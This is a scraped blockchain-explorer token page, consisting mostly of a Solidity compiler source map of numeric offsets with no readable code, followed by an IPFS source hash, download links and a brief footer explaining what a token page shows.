515:19:::0;;-1:-1:-1;;;;;;2515:19:0::1;::::0;;2394:148::o;6679:297::-;6622:13;;-1:-1:-1;;;;;6622:13:0;1702:10;6622:29;6614:38;;;;;;6773:9:::1;6768:205;6788:29:::0;;::::1;6768:205;;;6878:8;;6835:17;:40;6853:18;;6872:1;6853:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6835:40:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;6835:40:0;;;:51;;;;6921:18;;6940:1;6921:21;;::::1;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6912:53:0::1;;6956:8;;6912:53;;;;1258:25:1::0;;1246:2;1231:18;;1112:177;6912:53:0::1;;;;;;;;6819:3;;6768:205;;;;6679:297:::0;;:::o;3792:87::-;3831:13;3864:7;3857:14;;;;;:::i;6986:289::-;6622:13;;-1:-1:-1;;;;;6622:13:0;1702:10;6622:29;6614:38;;;;;;2738:1:::1;7135:10;;:23;;;;:::i;:::-;2801:13;2738:1;2801:2;:13;:::i;:::-;2786:28;::::0;:12:::1;:28;:::i;:::-;7120:38;;;;:::i;:::-;-1:-1:-1::0;;;;;7077:40:0;::::1;;::::0;;;:17:::1;:40;::::0;;;;:81;;;;7243:10:::1;::::0;7184:83:::1;::::0;7243:23:::1;::::0;2738:1:::1;::::0;7243:23:::1;:::i;:::-;2801:13;2738:1;2801:2;:13;:::i;:::-;2786:28;::::0;:12:::1;:28;:::i;:::-;7228:38;;;;:::i;:::-;7184:83;::::0;1258:25:1;;;1246:2;1231:18;7184:83:0::1;;;;;;;6986:289:::0;:::o;4221:167::-;4299:4;4316:42;1702:10;4340:9;4351:6;4316:9;:42::i;2192:194::-;2051:7;2078:6;-1:-1:-1;;;;;2078:6:0;1702:10;2140:23;2132:32;;;;;;-1:-1:-1;;;;;2273:22:0;::::1;2265:31;;;;;;2333:6;::::0;;2312:38:::1;::::0;-1:-1:-1;;;;;2312:38:0;;::::1;::::0;2333:6;::::1;::::0;2312:38:::1;::::0;::::1;2361:6;:17:::0;;-1:-1:-1;;;;;;2361:17:0::1;-1:-1:-1::0;;;;;2361:17:0;;;::::1;::::0;;;::::1;::::0;;2192:194::o;5451:260::-;-1:-1:-1;;;;;5545:19:0;;5537:28;;;;;;-1:-1:-1;;;;;5584:21:0;;5576:30;;;;;;-1:-1:-1;;;;;5619:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5671:32;;1258:25:1;;;5671:32:0;;1231:18:1;5671:32:0;;;;;;;;5451:260;;;:::o;5028:381::-;-1:-1:-1;;;;;5126:20:0;;5118:29;;;;;;-1:-1:-1;;;;;5166:23:0;;5158:32;;;;;;-1:-1:-1;;;;;5231:25:0;;;;;;:17;:25;;;;;;:37;;5261:6;5231:29;:37::i;:::-;-1:-1:-1;;;;;5203:25:0;;;;;;;:17;:25;;;;;;:65;;;;5310:28;;;;;;;:40;;5343:6;5310:32;:40::i;:::-;-1:-1:-1;;;;;5279:28:0;;;;;;;:17;:28;;;;;;;:71;;;;5366:35;;;;;;;;;;5394:6;1258:25:1;;1246:2;1231:18;;1112:177;1032:158:0;1090:7;1123:1;1118;:6;;1110:49;;;;-1:-1:-1;;;1110:49:0;;5597:2:1;1110:49:0;;;5579:21:1;5636:2;5616:18;;;5609:30;5675:32;5655:18;;;5648:60;5725:18;;1110:49:0;;;;;;;;;1177:5;1181:1;1177;:5;:::i;:::-;1170:12;1032:158;-1:-1:-1;;;1032:158:0:o;845:179::-;903:7;;935:5;939:1;935;:5;:::i;:::-;923:17;;964:1;959;:6;;951:46;;;;-1:-1:-1;;;951:46:0;;6219:2:1;951:46:0;;;6201:21:1;6258:2;6238:18;;;6231:30;6297:29;6277:18;;;6270:57;6344:18;;951:46:0;6017:351:1;14:418;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1862:186::-;1921:6;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2013:29;2032:9;2013:29;:::i;2261:610::-;2347:6;2355;2408:2;2396:9;2387:7;2383:23;2379:32;2376:52;;;2424:1;2421;2414:12;2376:52;2464:9;2451:23;2497:18;2489:6;2486:30;2483:50;;;2529:1;2526;2519:12;2483:50;2552:22;;2605:4;2597:13;;2593:27;-1:-1:-1;2583:55:1;;2634:1;2631;2624:12;2583:55;2674:2;2661:16;2700:18;2692:6;2689:30;2686:50;;;2732:1;2729;2722:12;2686:50;2785:7;2780:2;2770:6;2767:1;2763:14;2759:2;2755:23;2751:32;2748:45;2745:65;;;2806:1;2803;2796:12;2745:65;2837:2;2829:11;;;;;2859:6;;-1:-1:-1;2261:610:1;-1:-1:-1;;;2261:610:1:o;2876:260::-;2944:6;2952;3005:2;2993:9;2984:7;2980:23;2976:32;2973:52;;;3021:1;3018;3011:12;2973:52;3044:29;3063:9;3044:29;:::i;:::-;3034:39;;3092:38;3126:2;3115:9;3111:18;3092:38;:::i;:::-;3082:48;;2876:260;;;;;:::o;3141:380::-;3220:1;3216:12;;;;3263;;;3284:61;;3338:4;3330:6;3326:17;3316:27;;3284:61;3391:2;3383:6;3380:14;3360:18;3357:38;3354:161;;3437:10;3432:3;3428:20;3425:1;3418:31;3472:4;3469:1;3462:15;3500:4;3497:1;3490:15;3354:161;;3141:380;;;:::o;3526:127::-;3587:10;3582:3;3578:20;3575:1;3568:31;3618:4;3615:1;3608:15;3642:4;3639:1;3632:15;3658:375;3746:1;3764:5;3778:249;3799:1;3789:8;3786:15;3778:249;;;3849:4;3844:3;3840:14;3834:4;3831:24;3828:50;;;3858:18;;:::i;:::-;3908:1;3898:8;3894:16;3891:49;;;3922:16;;;;3891:49;4005:1;4001:16;;;;;3961:15;;3778:249;;;3658:375;;;;;;:::o;4038:902::-;4087:5;4117:8;4107:80;;-1:-1:-1;4158:1:1;4172:5;;4107:80;4206:4;4196:76;;-1:-1:-1;4243:1:1;4257:5;;4196:76;4288:4;4306:1;4301:59;;;;4374:1;4369:174;;;;4281:262;;4301:59;4331:1;4322:10;;4345:5;;;4369:174;4406:3;4396:8;4393:17;4390:43;;;4413:18;;:::i;:::-;-1:-1:-1;;4469:1:1;4455:16;;4528:5;;4281:262;;4627:2;4617:8;4614:16;4608:3;4602:4;4599:13;4595:36;4589:2;4579:8;4576:16;4571:2;4565:4;4562:12;4558:35;4555:77;4552:203;;;-1:-1:-1;4664:19:1;;;4740:5;;4552:203;4787:42;-1:-1:-1;;4812:8:1;4806:4;4787:42;:::i;:::-;4865:6;4861:1;4857:6;4853:19;4844:7;4841:32;4838:58;;;4876:18;;:::i;:::-;4914:20;;4038:902;-1:-1:-1;;;4038:902:1:o;4945:140::-;5003:5;5032:47;5073:4;5063:8;5059:19;5053:4;5032:47;:::i;5090:168::-;5163:9;;;5194;;5211:15;;;5205:22;;5191:37;5181:71;;5232:18;;:::i;5263:127::-;5324:10;5319:3;5315:20;5312:1;5305:31;5355:4;5352:1;5345:15;5379:4;5376:1;5369:15;5754:128;5821:9;;;5842:11;;;5839:37;;;5856:18;;:::i;5887:125::-;5952:9;;;5973:10;;;5970:36;;;5986:18;;:::i
Swarm Source
ipfs://35d4abcd8c6bf53eabdcd9de44566d67b5fa666ad05c1ff1e6c6d4221188363b
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.